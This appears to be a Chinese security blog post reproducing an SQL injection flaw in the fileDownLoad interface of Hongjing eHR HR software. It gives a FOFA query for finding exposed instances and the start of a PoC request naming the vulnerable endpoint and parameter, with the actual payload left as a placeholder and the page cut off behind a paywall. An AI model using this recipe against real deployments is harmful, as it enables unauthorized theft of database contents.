宏景eHR fileDownLoad SQL注入漏洞复现

0xSecl

已于 2024-01-10 19:32:03 修改

阅读量957

点赞数 5

CC 4.0 BY-SA版权

分类专栏：漏洞复现v1 文章标签：安全 web安全

于 2024-01-10 19:31:48 首次发布

本文链接：https://blog.youkuaiyun.com/qq_41904294/article/details/135511244

漏洞复现v1 专栏收录该内容

994 篇文章 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了宏景eHR人力资源管理软件中fileDownLoad接口存在的SQL注入漏洞，该漏洞可能导致远程攻击者执行任意SQL指令，获取数据库敏感信息。复现环境为FOFA标识的HJSOFT-HCM应用，修复建议包括限制接口访问权限或更新软件到安全版本。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

0x01 产品简介

宏景eHR人力资源管理软件是一款人力资源管理与数字化应用相融合，满足动态化、协同化、流程化、战略化需求的软件。

0x02 漏洞概述

宏景eHR fileDownLoad 接口处存在SQL注入漏洞，未经过身份认证的远程攻击者可利用此漏洞执行任意SQL指令，从而窃取数据库敏感信息

0x03 复现环境

FOFA：app="HJSOFT-HCM"

0x04 漏洞复现

PoC

GET /servlet/performance/fileDownLoad?opt=hire&e01a1=[加密后的恶意sql]&planid=1&objectid=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,applicatio

了解本专栏